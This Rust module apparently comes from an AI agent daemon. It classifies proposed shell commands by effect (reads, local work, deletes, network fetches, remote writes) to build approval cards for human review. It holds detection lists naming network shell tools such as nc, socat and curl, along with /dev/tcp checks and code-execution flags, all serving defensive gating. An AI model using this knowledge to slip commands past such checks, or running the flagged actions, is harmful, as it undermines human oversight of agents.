use crate::command_risk::structural_shell_invocations;
use aidaemon_core::{CallEffects, EffectClass, EffectKey};
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CommandEffects {
pub observation_only: bool,
pub deletes: bool,
pub local_work_only: bool,
pub delete_targets: Option<Vec<String>>,
}
const OBSERVATION_PROGRAMS: &[&str] = &[
"ls", "cat", "head", "tail", "wc", "grep", "egrep", "fgrep", "rg", "find", "stat", "file",
"pwd", "echo", "printf", "which", "whoami", "id", "uname", "date", "du", "df", "tree", "sort",
"uniq", "cut", "tr", "diff", "cmp", "basename", "dirname", "realpath", "readlink", "jq", "ps",
"hostname", "sw_vers", "true", "git", "test", "[", "sleep", "uptime", "sysctl", "top",
];
const SYSTEM_BIN_DIRS: &[&str] = &[
"/bin",
"/usr/bin",
"/usr/local/bin",
"/opt/homebrew/bin",
"/sbin",
"/usr/sbin",
];
const DELETE_PROGRAMS: &[&str] = &["rm", "rmdir", "unlink", "shred"];
const LOCAL_WORK_PROGRAMS: &[&str] = &[
"make",
"cmake",
"ninja",
"pytest",
"rustc",
"xcodebuild",
"mkdir",
"touch",
"cp",
"mv",
"ln",
"chmod",
"cd",
"rm",
"rmdir",
"unlink",
];
const LOCAL_WORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
(
"cargo",
&[
"build", "check", "test", "clippy", "fmt", "run", "bench", "doc", "tree", "metadata",
],
),
(
"git",
&[
"add",
"commit",
"status",
"diff",
"log",
"show",
"branch",
"switch",
"checkout",
"restore",
"stash",
"merge",
"rebase",
"reset",
"tag",
"rm",
"mv",
"init",
"worktree",
"rev-parse",
"ls-files",
"blame",
],
),
("npm", &["test", "run", "build", "lint"]),
("pnpm", &["test", "run", "build", "lint"]),
("yarn", &["test", "run", "build", "lint"]),
("go", &["build", "test", "vet", "fmt", "run"]),
("swift", &["build", "test"]),
];
const DDEV_QUERY_SUBCOMMANDS: &[&str] = &["describe", "status", "st", "list", "version", "logs"];
const DDEV_TOOL_QUERIES: &[(&str, &str, &[&str])] = &[
("wp", "core", &["is-installed", "version"]),
("wp", "option", &["get", "list"]),
(
"wp",
"plugin",
&["list", "status", "is-installed", "is-active"],
),
(
"wp",
"theme",
&["list", "status", "is-installed", "is-active"],
),
("wp", "user", &["list", "get"]),
("wp", "post", &["list", "get"]),
];
const DRUSH_QUERIES: &[&str] = &["status", "st", "core:status", "core-status", "pm:list"];
const DDEV_TOOL_CODE_OPTIONS: &[&str] = &["--exec", "--require", "--eval", "--include", "--ssh"];
fn ddev_query_ok(args: &[String]) -> bool {
if args.iter().any(|arg| {
DDEV_TOOL_CODE_OPTIONS
.iter()
.any(|option| arg == option || arg.starts_with(&format!("{option}=")))
}) {
return false;
}
let words: Vec<&str> = args
.iter()
.map(String::as_str)
.filter(|arg| !arg.starts_with('-'))
.collect();
match words.as_slice() {
[sub, ..] if DDEV_QUERY_SUBCOMMANDS.contains(sub) => true,
["drush", command, ..] => DRUSH_QUERIES.contains(command),
[tool, command, sub, ..] => DDEV_TOOL_QUERIES
.iter()
.any(|(t, c, subs)| t == tool && c == command && subs.contains(sub)),
_ => false,
}
}
const FIND_MUTATING_FLAGS: &[&str] = &[
"-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprint0", "-fprintf", "-fls",
];
const GIT_OBSERVATION_SUBCOMMANDS: &[&str] = &[
"status",
"log",
"diff",
"show",
"rev-parse",
"ls-files",
"blame",
"rev-list",
];
const WRAPPERS: &[&str] = &[
"sudo", "doas", "nice", "nohup", "timeout", "stdbuf", "time", "command", "exec", "xargs",
"env", "builtin", "ionice", "setsid", "{", "!", "if", "then", "else", "elif", "do", "while",
"until",
];
const NETWORK_PROGRAMS: &[&str] = &[
"curl",
"wget",
"http",
"https",
"xh",
"nc",
"ncat",
"netcat",
"telnet",
"ssh",
"scp",
"sftp",
"rsync",
"ftp",
"lftp",
"aria2c",
"gh",
"npx",
"bunx",
"uvx",
"svn",
"socat",
"ping",
"dig",
"host",
"nslookup",
"whois",
"tftp",
"mosh",
"rclone",
"aws",
"gcloud",
"kubectl",
"invoke-webrequest",
];
const POWERSHELL_OBSERVATIONS: &[&str] = &[
"get-content",
"gc",
"type",
"get-childitem",
"gci",
"dir",
"get-item",
"gi",
"get-itemproperty",
"gp",
"get-location",
"gl",
"test-path",
"resolve-path",
"rvpa",
"split-path",
"join-path",
"select-string",
"sls",
"get-date",
"get-process",
"gps",
"get-filehash",
"measure-object",
"measure",
"sort-object",
"select-object",
"select",
"compare-object",
"format-list",
"fl",
"format-table",
"ft",
"format-wide",
"fw",
"out-string",
"out-null",
"out-host",
"write-output",
"write",
"write-host",
"start-sleep",
];
const POWERSHELL_LOCAL_WORK: &[&str] = &[
"new-item",
"ni",
"md",
"set-content",
"sc",
"add-content",
"ac",
"out-file",
"copy-item",
"copy",
"cpi",
"move-item",
"move",
"mi",
"rename-item",
"ren",
"rni",
"set-location",
"sl",
"chdir",
"push-location",
"pushd",
"pop-location",
"popd",
];
const POWERSHELL_DELETES: &[&str] = &["remove-item", "ri", "del", "erase", "rd"];
fn in_powershell_table(table: &[&str], program: &str) -> bool {
cfg!(windows) && table.iter().any(|name| name.eq_ignore_ascii_case(program))
}
fn powershell_args_plain(args: &[String]) -> bool {
!args
.iter()
.any(|arg| arg.contains(['{', '}', '$', '(', ')', '@', '`']))
}
fn is_powershell_observation(program: &str, args: &[String]) -> bool {
in_powershell_table(POWERSHELL_OBSERVATIONS, program) && powershell_args_plain(args)
}
fn is_program_observation(program: &str, args: &[String]) -> bool {
(OBSERVATION_PROGRAMS.contains(&program) && observation_args_ok(program, args))
|| is_powershell_observation(program, args)
}
fn is_delete_program(program: &str) -> bool {
DELETE_PROGRAMS.contains(&program) || in_powershell_table(POWERSHELL_DELETES, program)
}
fn shell_text(command: &str) -> std::borrow::Cow<'_, str> {
if cfg!(windows) && command.contains('\\') {
std::borrow::Cow::Owned(command.replace('\\', "/"))
} else {
std::borrow::Cow::Borrowed(command)
}
}
const NETWORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
(
"git",
&[
"fetch",
"clone",
"pull",
"ls-remote",
"submodule",
"push",
"update",
],
),
(
"npm",
&[
"install", "add", "i", "ci", "exec", "update", "fetch", "search", "view", "info",
"publish",
],
),
(
"pnpm",
&[
"install", "add", "i", "dlx", "update", "fetch", "search", "view", "info", "publish",
],
),
(
"yarn",
&[
"install", "add", "i", "update", "fetch", "search", "view", "info", "publish",
],
),
("pip", &["install", "download"]),
("pip3", &["install", "download"]),
(
"cargo",
&[
"install", "add", "update", "fetch", "search", "view", "info", "publish",
],
),
("bun", &["install", "add", "i"]),
("uv", &["pip", "add", "sync"]),
("brew", &["install", "update", "upgrade", "fetch"]),
("go", &["get", "install", "download"]),
("docker", &["pull", "run", "build", "push"]),
("gem", &["install"]),
("apt", &["install", "update"]),
("apt-get", &["install", "update"]),
("hg", &["pull", "clone"]),
("openssl", &["s_client"]),
];
pub fn sends_remote_write(command: &str) -> bool {
expanded_commands(command).iter().any(|tokens| {
let args = &tokens[1..];
match basename(&tokens[0]) {
"curl" => curl_sends_write(args),
"wget" => wget_sends_write(args),
"git" => git_subcommand(args) == Some("push"),
_ => false,
}
})
}
fn writes_with_method(method: &str) -> bool {
!matches!(method.to_ascii_uppercase().as_str(), "GET" | "HEAD")
}
fn curl_sends_write(args: &[String]) -> bool {
let mut iter = args.iter();
while let Some(arg) = iter.next() {
if let Some(long) = arg.strip_prefix("--") {
let (name, inline) = match long.split_once('=') {
Some((name, value)) => (name, Some(value)),
None => (long, None),
};
if name == "request" {
let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
if method.is_none_or(|method| writes_with_method(&method)) {
return true;
}
} else if name.starts_with("data")
|| name == "json"
|| name.starts_with("form")
|| name == "upload-file"
{
return true;
}
} else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) {
for (at, c) in cluster.char_indices() {
match c {
'd' | 'F' | 'T' => return true,
'X' => {
let rest = &cluster[at + 1..];
let method = if rest.is_empty() {
iter.next().cloned()
} else {
Some(rest.to_string())
};
if method.is_none_or(|method| writes_with_method(&method)) {
return true;
}
break;
}
_ => {}
}
}
}
}
false
}
fn wget_sends_write(args: &[String]) -> bool {
let mut iter = args.iter();
while let Some(arg) = iter.next() {
let Some(long) = arg.strip_prefix("--") else {
continue;
};
let (name, inline) = match long.split_once('=') {
Some((name, value)) => (name, Some(value)),
None => (long, None),
};
match name {
"post-data" | "post-file" | "body-data" | "body-file" => return true,
"method" => {
let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
if method.is_none_or(|method| writes_with_method(&method)) {
return true;
}
}
_ => {}
}
}
false
}
fn git_subcommand(args: &[String]) -> Option<&str> {
let mut iter = args.iter();
while let Some(arg) = iter.next() {
if arg == "-C" || arg == "-c" {
iter.next();
} else if !arg.starts_with('-') {
return Some(arg);
}
}
None
}
pub fn fetches_network(command: &str) -> bool {
if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
return true;
}
expanded_commands(command).iter().any(|tokens| {
let program = basename(&tokens[0]);
let args = &tokens[1..];
if NETWORK_PROGRAMS.contains(&program) {
return true;
}
if program == "yarn" && args.iter().all(|arg| arg.starts_with('-')) {
return true;
}
if program == "git" {
let has = |word: &str| args.iter().any(|arg| arg == word);
if (has("remote") && has("update"))
|| (has("archive") && args.iter().any(|arg| arg.starts_with("--remote")))
{
return true;
}
}
NETWORK_SUBCOMMANDS.iter().any(|(name, subs)| {
*name == program
&& args
.iter()
.any(|arg| !arg.starts_with('-') && subs.contains(&arg.as_str()))
})
})
}
pub fn is_git_config_path(path: &str) -> bool {
let raw = path_components(path);
if raw.iter().any(|part| is_repo_config_component(part)) {
return true;
}
let expanded = expand_home(path);
let normalized = normalize_components(&path_components(&expanded));
if normalized.iter().any(|part| is_repo_config_component(part))
|| normalized.windows(2).any(|pair| {
pair[0].eq_ignore_ascii_case(".config") && pair[1].eq_ignore_ascii_case("git")
})
{
return true;
}
let absolute = expanded.starts_with('/') || expanded.starts_with('\\');
if absolute
&& normalized.len() == 2
&& normalized[0].eq_ignore_ascii_case("etc")
&& normalized[1].eq_ignore_ascii_case("gitconfig")
{
return true;
}
let under = |base: std::path::PathBuf| {
let base = normalize_components(&path_components(&base.to_string_lossy()));
absolute
&& !base.is_empty()
&& normalized.len() > base.len()
&& normalized
.iter()
.zip(&base)
.all(|(a, b)| a.eq_ignore_ascii_case(b))
};
if dirs::home_dir().is_some_and(|home| under(home.join(".config").join("git"))) {
return true;
}
std::env::var_os("XDG_CONFIG_HOME")
.filter(|value| !value.is_empty())
.is_some_and(|xdg| under(std::path::PathBuf::from(xdg).join("git")))
}
fn path_components(path: &str) -> Vec<String> {
path.split(['/', '\\'])
.filter(|part| !part.is_empty())
.map(|part| {
if part == "." || part == ".." {
part.to_string()
} else {
part.trim_end_matches(['.', ' ']).to_string()
}
})
.filter(|part| !part.is_empty())
.collect()
}
fn normalize_components(parts: &[String]) -> Vec<String> {
let mut out: Vec<String> = Vec::new();
for part in parts {
match part.as_str() {
"." => {}
".." => {
if out.last().is_some_and(|last| last != "..") {
out.pop();
} else {
out.push(part.clone());
}
}
_ => out.push(part.clone()),
}
}
out
}
fn is_repo_config_component(part: &str) -> bool {
[".git", ".gitattributes", ".gitmodules", ".gitconfig"]
.iter()
.any(|name| part.eq_ignore_ascii_case(name))
}
fn expand_home(path: &str) -> String {
let rest = ["~", "$HOME", "${HOME}"].iter().find_map(|prefix| {
path.strip_prefix(prefix)
.filter(|rest| rest.is_empty() || rest.starts_with(['/', '\\']))
});
match (rest, dirs::home_dir()) {
(Some(rest), Some(home)) => format!("{}{rest}", home.to_string_lossy()),
_ => path.to_string(),
}
}
pub fn root_holds_repository(root: &str, base: Option<&str>) -> bool {
let root = root.trim();
if root.is_empty() {
return false;
}
let mut path = std::path::PathBuf::from(expand_home(root));
if path.is_relative()
&& let Some(base) = base.map(str::trim).filter(|base| !base.is_empty())
{
path = std::path::PathBuf::from(expand_home(base)).join(path);
}
path.join(".git").exists()
}
pub fn command_names_git_config_path(command: &str) -> bool {
names_git_config(command, 0)
}
fn names_git_config(command: &str, depth: usize) -> bool {
if depth > MAX_DEPTH {
return false;
}
let scanned = scan(command);
for segment in &scanned.segments {
let words = shell_words::split(segment)
.unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
for word in words {
let target = word.trim_start_matches(|c: char| {
c.is_ascii_digit() || matches!(c, '>' | '<' | '&' | '|')
});
let operand = word.split_once('=').map(|(_, value)| value);
if [Some(word.as_str()), Some(target), operand]
.into_iter()
.flatten()
.any(|candidate| !candidate.is_empty() && is_git_config_path(candidate))
{
return true;
}
if word.contains(char::is_whitespace) && names_git_config(&word, depth + 1) {
return true;
}
}
}
substitution_bodies(command)
.iter()
.any(|body| names_git_config(body, depth + 1))
}
pub fn command_effects(command: &str) -> CommandEffects {
let deletes = command.contains("$'")
|| expanded_commands(command).iter().any(|tokens| {
let program = basename(&tokens[0]);
let args = &tokens[1..];
is_delete_program(program)
|| (program == "find" && args.iter().any(|arg| arg == "-delete"))
|| (program == "git" && args.iter().any(|arg| arg == "clean"))
});
CommandEffects {
observation_only: is_observation_only(command),
deletes,
local_work_only: is_local_work_only(command),
delete_targets: if command.contains("$'") {
None
} else {
delete_targets(command)
},
}
}
fn delete_targets(command: &str) -> Option<Vec<String>> {
let unreadable = |target: &str| {
target.is_empty() || target.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
};
let commands = expanded_commands(command);
let changes_directory = commands
.iter()
.any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
let mut targets: Vec<String> = Vec::new();
for tokens in &commands {
let program = basename(&tokens[0]);
let args = &tokens[1..];
let named: Vec<&String> = if is_delete_program(program) {
let mut options_done = false;
args.iter()
.filter(|arg| {
if options_done {
return true;
}
if arg.as_str() == "--" {
options_done = true;
return false;
}
!arg.starts_with('-')
})
.collect()
} else if program == "find" && args.iter().any(|arg| arg == "-delete") {
if args.first().is_none_or(|arg| arg.starts_with('-')) {
return None;
}
args.iter()
.take_while(|arg| !arg.starts_with(['-', '(', '!']))
.collect()
} else if program == "git" && args.iter().any(|arg| arg == "clean") {
return None;
} else {
continue;
};
if named.is_empty() || named.iter().any(|target| unreadable(target)) {
return None;
}
if changes_directory
&& named
.iter()
.any(|target| !crate::BackendPath::is_absolute(target))
{
return None;
}
for target in named {
if !targets.contains(target) {
targets.push(target.clone());
}
}
}
Some(targets)
}
pub fn path_operands(command: &str) -> Option<Vec<String>> {
if command.contains("$'") {
return None;
}
let unreadable = |operand: &str| {
let rest = operand
.strip_prefix("~/")
.or_else(|| (operand == "~").then_some(""))
.unwrap_or(operand);
rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
};
let commands = expanded_commands(command);
let mut operands: Vec<String> = Vec::new();
for line in command.replace("\\\n", " ").split('\n') {
for target in scan(line).input_targets {
if unreadable(&target) || target.contains(['"', '\'']) {
return None;
}
if !operands.contains(&target) {
operands.push(target);
}
}
}
for tokens in &commands {
if matches!(
basename(&tokens[0]),
"cd" | "pushd" | "popd" | "xargs" | "parallel"
) {
return None;
}
let mut options_done = false;
for arg in &tokens[1..] {
let operand = if options_done || !arg.starts_with('-') {
arg.as_str()
} else if arg == "--" {
options_done = true;
continue;
} else if let Some((_, value)) = arg.split_once('=') {
value
} else if arg.contains(['/', '~']) {
return None;
} else {
continue;
};
if operand.is_empty() {
continue;
}
if unreadable(operand) {
return None;
}
if !operands.iter().any(|known| known == operand) {
operands.push(operand.to_string());
}
}
}
Some(operands)
}
pub fn literal_path_operands(command: &str) -> Vec<String> {
let literal = |operand: &str| {
let rest = operand
.strip_prefix("~/")
.or_else(|| (operand == "~").then_some(""))
.unwrap_or(operand);
!operand.is_empty()
&& !rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~', '"', '\''])
};
let commands = expanded_commands(command);
let moves = commands.iter().any(|tokens| {
tokens
.first()
.is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
});
let mut operands: Vec<String> = Vec::new();
let mut add = |operand: &str| {
let anchored =
crate::BackendPath::is_absolute(operand) || operand == "~" || operand.starts_with("~/");
if literal(operand)
&& (anchored || !moves)
&& !operands.iter().any(|known| known == operand)
{
operands.push(operand.to_string());
}
};
for line in command.replace("\\\n", " ").split('\n') {
for target in scan(line).input_targets {
add(&target);
}
}
for tokens in &commands {
let mut options_done = false;
for arg in tokens.iter().skip(1) {
if options_done || !arg.starts_with('-') {
add(arg);
} else if arg == "--" {
options_done = true;
} else if let Some((_, value)) = arg.split_once('=') {
add(value);
}
}
}
operands
}
fn is_local_work_only(command: &str) -> bool {
every_segment(command, &local_work_args_ok)
}
pub fn reaches_only_this_computer(command: &str) -> bool {
if sends_remote_write(command) {
return false;
}
every_segment(command, &|program, args| match program {
"cd" => true,
"ddev" => ddev_query_ok(args),
"curl" | "wget" => reads_only_local_sites(program, args),
_ => is_program_observation(program, args),
})
}
const DDEV_TOOL_CODE_COMMANDS: &[(&str, &str)] = &[
("drush", "php:eval"),
("drush", "php-eval"),
("drush", "eval"),
("drush", "ev"),
("drush", "php:script"),
("drush", "php-script"),
("drush", "scr"),
("drush", "php"),
("drush", "php:cli"),
("drush", "core:cli"),
("drush", "cli"),
("wp", "eval"),
("wp", "eval-file"),
("wp", "shell"),
];
pub fn acts_on_its_ddev_project(command: &str) -> bool {
if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
{
return false;
}
every_segment(command, &|program, args| {
program == "ddev"
&& !args.iter().any(|arg| {
arg.contains("://")
|| DDEV_TOOL_CODE_OPTIONS
.iter()
.any(|option| arg == option || arg.starts_with(&format!("{option}=")))
})
&& match args
.iter()
.map(String::as_str)
.filter(|arg| !arg.starts_with('-'))
.collect::<Vec<_>>()
.as_slice()
{
[tool @ ("drush" | "wp"), command, ..] => !DDEV_TOOL_CODE_COMMANDS
.iter()
.any(|(t, c)| t == tool && c == command),
_ => false,
}
})
}
pub fn only_reads_this_computer(command: &str) -> bool {
if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
{
return false;
}
every_segment(command, &|program, args| match program {
"cd" => true,
"ddev" => ddev_query_ok(args),
"curl" => !curl_saves_files(args) && reads_only_local_sites(program, args),
_ => is_program_observation(program, args),
})
}
pub fn only_reads(command: &str) -> bool {
if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
{
return false;
}
every_segment(command, &|program, args| match program {
"cd" => true,
"ddev" => ddev_query_ok(args),
"curl" => !curl_saves_files(args),
_ => is_program_observation(program, args),
})
}
pub fn remote_inner_only_reads(command: &str) -> Option<bool> {
remote_inner_script(command).map(|inner| only_reads(&inner))
}
pub fn recognizably_changes(command: &str) -> bool {
let text = remote_inner_script(command).unwrap_or_else(|| command.to_string());
if command_effects(&text).deletes || scan(&text).writes_file || sends_remote_write(&text) {
return true;
}
expanded_commands(&text).iter().any(|tokens| {
let args = &tokens[1..];
match basename(&tokens[0]) {
"mkdir" | "touch" | "cp" | "mv" | "ln" | "chmod" | "chown" | "tee" | "install"
| "patch" | "truncate" => true,
"sed" => args
.iter()
.any(|arg| arg.starts_with("-i") || arg == "--in-place"),
"apt" | "apt-get" | "yum" | "dnf" | "pip" | "pip3" | "npm" | "pnpm" | "yarn"
| "gem" | "brew" => args.iter().any(|arg| arg == "install" || arg == "add"),
"apk" => args.iter().any(|arg| arg == "add"),
"git" => matches!(
git_subcommand(args),
Some("commit" | "add" | "apply" | "checkout" | "switch" | "merge" | "init")
),
_ => false,
}
})
}
fn remote_inner_script(command: &str) -> Option<String> {
let segments: Vec<String> = scan(command)
.segments
.into_iter()
.filter(|segment| !segment.trim().is_empty())
.collect();
let [segment] = segments.as_slice() else {
return None;
};
let tokens = shell_words::split(segment).ok()?;
let program = basename(tokens.first()?);
let second = tokens.get(1).map(String::as_str);
let third = tokens.get(2).map(String::as_str);
let (start, valued): (usize, &[&str]) = match program {
"docker" | "podman" if tokens.get(1).map(String::as_str) == Some("exec") => (
2,
&[
"-e",
"--env",
"-u",
"--user",
"-w",
"--workdir",
"--env-file",
],
),
"docker" | "podman" if second == Some("compose") && third == Some("exec") => (
3,
&["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
),
"docker-compose" | "podman-compose" if second == Some("exec") => (
2,
&["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
),
"lxc" | "incus" if second == Some("exec") => {
let dash = tokens.iter().position(|token| token == "--")?;
return inner_text(&tokens[dash + 1..]);
}
"vagrant" if second == Some("ssh") => {
let flag = tokens
.iter()
.position(|token| token == "-c" || token == "--command")?;
return tokens.get(flag + 1).cloned();
}
"gcloud" if second == Some("compute") && third == Some("ssh") => {
return tokens.iter().enumerate().find_map(|(index, token)| {
if token == "--command" {
tokens.get(index + 1).cloned()
} else {
token.strip_prefix("--command=").map(str::to_string)
}
});
}
"kubectl" if tokens.get(1).map(String::as_str) == Some("exec") => {
let dash = tokens.iter().position(|token| token == "--")?;
return inner_text(&tokens[dash + 1..]);
}
"ssh" => (
1,
&[
"-p", "-i", "-l", "-o", "-F", "-J", "-b", "-c", "-D", "-E", "-L", "-R", "-W", "-m",
"-O", "-Q", "-S", "-w",
],
),
_ => return None,
};
let mut index = start;
while let Some(token) = tokens.get(index) {
if token == "--" {
index += 1;
break;
}
if !token.starts_with('-') {
break;
}
index += if valued.contains(&token.as_str()) {
2
} else {
1
};
}
let rest = tokens.get(index + 1..)?;
if program == "ssh" {
return (!rest.is_empty()).then(|| rest.join(" "));
}
inner_text(rest)
}
fn inner_text(tokens: &[String]) -> Option<String> {
let first = tokens.first()?;
if matches!(basename(first), "sh" | "bash" | "zsh" | "dash" | "ash") {
let flag = tokens[1..].iter().position(|token| {
token.starts_with('-') && !token.starts_with("--") && token.contains('c')
})?;
return tokens.get(flag + 2).cloned();
}
Some(shell_words::join(tokens))
}
fn curl_saves_files(args: &[String]) -> bool {
const LONG: &[&str] = &[
"--output",
"--remote-name",
"--remote-name-all",
"--dump-header",
"--cookie-jar",
"--trace",
"--trace-ascii",
"--stderr",
"--libcurl",
"--etag-save",
"--hsts",
"--alt-svc",
"--create-dirs",
"--output-dir",
];
let to_null = |value: Option<&String>| value.is_some_and(|value| value == "/dev/null");
args.iter().enumerate().any(|(index, arg)| {
let next = args.get(index + 1);
if arg == "--output" || arg == "-o" {
return !to_null(next);
}
if let Some(value) = arg.strip_prefix("--output=") {
return value != "/dev/null";
}
if LONG
.iter()
.any(|option| arg == *option || arg.starts_with(&format!("{option}=")))
{
return true;
}
if short_cluster_has(arg, &['O', 'D', 'c']) {
return true;
}
if arg.starts_with('-')
&& !arg.starts_with("--")
&& let Some(at) = arg.find('o')
{
return if at + 1 == arg.len() {
!to_null(next)
} else {
&arg[at + 1..] != "/dev/null"
};
}
false
})
}
pub fn program_label(command: &str) -> String {
let first = scan(command)
.segments
.into_iter()
.filter_map(|segment| shell_words::split(&segment).ok())
.find(|words| {
words
.iter()
.find(|word| !is_env_assignment(word))
.is_some_and(|program| !matches!(basename(program), "cd" | "pushd" | "popd"))
})
.unwrap_or_default();
let mut words = first.iter().skip_while(|word| is_env_assignment(word));
let Some(program) = words.next() else {
return "a command".to_string();
};
let program = match basename(program) {
"for" | "while" | "until" | "select" => return "a shell loop".to_string(),
wrapper if WRAPPERS.contains(&wrapper) => words
.find(|word| !word.starts_with('-'))
.map(String::as_str),
name => Some(name),
};
program
.map(basename)
.filter(|name| {
!name.is_empty()
&& name
.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
})
.map_or_else(|| "a command".to_string(), str::to_string)
}
pub fn command_card(line: &str, title: Option<String>) -> aidaemon_core::ApprovalCard {
let effects = command_effects(line);
let impact = if effects.deletes {
Some(aidaemon_core::HighImpact::Deletes {
targets: effects.delete_targets.unwrap_or_default(),
})
} else if sends_remote_write(line) {
Some(aidaemon_core::HighImpact::Sends)
} else {
None
};
aidaemon_core::ApprovalCard {
impact,
..aidaemon_core::ApprovalCard::new(aidaemon_core::CardAction::Command {
line: crate::sanitize::redact_command_secrets(line),
title,
looks_inside: looked_inside(line),
})
}
}
const FOLDER_LISTERS: &[&str] = &["ls", "tree", "du", "find", "stat"];
pub fn looked_inside(command: &str) -> Vec<String> {
if command_effects(command).deletes || scan(command).writes_file {
return Vec::new();
}
let folders = std::cell::RefCell::new(Vec::<String>::new());
let reads_only = every_segment(command, &|program, args| {
let ok = match program {
"cd" => true,
"ddev" => ddev_query_ok(args),
_ => is_program_observation(program, args),
};
if ok && FOLDER_LISTERS.contains(&program) {
let mut folders = folders.borrow_mut();
for operand in lister_operands(program, args) {
if let Some(name) = folder_name(operand)
&& !folders.contains(&name)
{
folders.push(name);
}
}
}
ok
});
if reads_only {
folders.into_inner()
} else {
Vec::new()
}
}
fn lister_operands<'a>(program: &str, args: &'a [String]) -> Vec<&'a str> {
let mut operands = Vec::new();
let mut iter = args.iter();
while let Some(arg) = iter.next() {
if program == "find" && (arg.starts_with('-') || matches!(arg.as_str(), "(" | "!")) {
break;
}
if matches!(
(program, arg.as_str()),
("tree", "-L" | "-I" | "-P") | ("du", "-d")
) {
iter.next();
continue;
}
if !arg.starts_with('-') {
operands.push(arg.as_str());
}
}
operands
}
fn folder_name(operand: &str) -> Option<String> {
let path = operand.trim_end_matches('/');
if path.is_empty()
|| path.starts_with('~')
|| path
.chars()
.any(|c| matches!(c, '$' | '*' | '?' | '[' | '{'))
{
return None;
}
let name = if path.starts_with('/') {
path.rsplit('/').next()?
} else {
path.split('/')
.find(|part| !part.is_empty() && *part != ".")?
};
(!matches!(name, "" | "." | "..")).then(|| name.to_string())
}
fn reads_only_local_sites(program: &str, args: &[String]) -> bool {
let spec = match program {
"curl" => &CURL,
"wget" => &WGET,
_ => return false,
};
let Some(parsed) = parse_options(spec, args) else {
return false;
};
if parsed
.values
.iter()
.any(|(_, value)| value.contains("%output{"))
{
return false;
}
let urls: Vec<&String> = parsed
.positionals
.iter()
.chain(
parsed
.values
.iter()
.filter(|(role, _)| *role == OptionValue::Url)
.map(|(_, value)| value),
)
.collect();
!urls.is_empty()
&& urls
.iter()
.all(|url| strict_url(url).is_some() && crate::web::local_site_key(url).is_some())
}
fn every_segment(command: &str, ok: &dyn Fn(&str, &[String]) -> bool) -> bool {
if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
return false;
}
let scanned = scan(&command.replace("\\\n", " "));
if scanned.hidden_syntax || !scanned.input_targets.is_empty() {
return false;
}
let Some(commands) = simple_commands(&scanned) else {
return false;
};
!commands.is_empty()
&& commands.iter().all(|tokens| {
let tokens = without_display_env(tokens);
let Some(program) = tokens.first() else {
return false;
};
!is_env_assignment(program)
&& program_path_ok(program)
&& ok(basename(program), &tokens[1..])
})
}
fn program_path_ok(program: &str) -> bool {
!program.contains('/')
|| program
.rsplit_once('/')
.is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir))
}
#[derive(Debug, Clone, PartialEq, Eq)]
enum ShellCommand {
Simple(Vec<String>),
Subshell(Vec<ShellCommand>),
For {
var: String,
words: Vec<String>,
body: Vec<ShellCommand>,
},
}
#[derive(Debug, Clone, PartialEq, Eq)]
enum Piece {
Words(Vec<String>),
Open,
Close,
Separator(char),
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum ListEnd {
Input,
Subshell,
Loop,
}
const UNMODELLED_KEYWORDS: &[&str] = &[
"if", "then", "elif", "else", "fi", "while", "until", "case", "esac", "select", "function",
"{", "}", "!", "[[", "]]", "do", "in", "coproc",
];
struct ShellParser {
pieces: Vec<Piece>,
pos: usize,
}
impl ShellParser {
fn list(&mut self, end: ListEnd) -> Option<Vec<ShellCommand>> {
let mut commands = Vec::new();
let mut ended = false;
loop {
let Some(piece) = self.pieces.get(self.pos).cloned() else {
return (end == ListEnd::Input).then_some(commands);
};
match piece {
Piece::Separator(_) => {
ended = false;
self.pos += 1;
}
Piece::Close => {
if end != ListEnd::Subshell {
return None;
}
self.pos += 1;
return Some(commands);
}
_ if ended => return None,
Piece::Open => {
self.pos += 1;
let inner = self.list(ListEnd::Subshell)?;
if matches!(self.pieces.get(self.pos), Some(Piece::Words(words)) if words.is_empty())
{
self.pos += 1;
}
commands.push(ShellCommand::Subshell(inner));
ended = true;
}
Piece::Words(words) => {
let first = words.first()?.as_str();
if first == "done" {
if end != ListEnd::Loop || words.len() != 1 {
return None;
}
self.pos += 1;
return Some(commands);
}
if first == "for" {
commands.push(self.for_loop(&words)?);
} else if UNMODELLED_KEYWORDS.contains(&first)
|| without_display_env(&words)
.first()
.map_or(first, String::as_str)
.contains('$')
{
return None;
} else {
self.pos += 1;
commands.push(ShellCommand::Simple(words));
}
ended = true;
}
}
}
}
fn for_loop(&mut self, header: &[String]) -> Option<ShellCommand> {
let var = header.get(1)?;
let valid_name = var
.chars()
.next()
.is_some_and(|c| c == '_' || c.is_ascii_alphabetic())
&& var.chars().all(|c| c == '_' || c.is_ascii_alphanumeric());
if !valid_name || header.get(2).map(String::as_str) != Some("in") {
return None;
}
let words = header[3..].to_vec();
self.pos += 1;
let mut separated = false;
while let Some(Piece::Separator(sep)) = self.pieces.get(self.pos) {
if !matches!(sep, ';' | '\n') {
return None;
}
separated = true;
self.pos += 1;
}
let Some(Piece::Words(opening)) = self.pieces.get(self.pos).cloned() else {
return None;
};
if !separated || opening.first().map(String::as_str) != Some("do") {
return None;
}
if opening.len() == 1 {
self.pos += 1;
} else {
self.pieces[self.pos] = Piece::Words(opening[1..].to_vec());
}
let body = self.list(ListEnd::Loop)?;
Some(ShellCommand::For {
var: var.clone(),
words,
body,
})
}
}
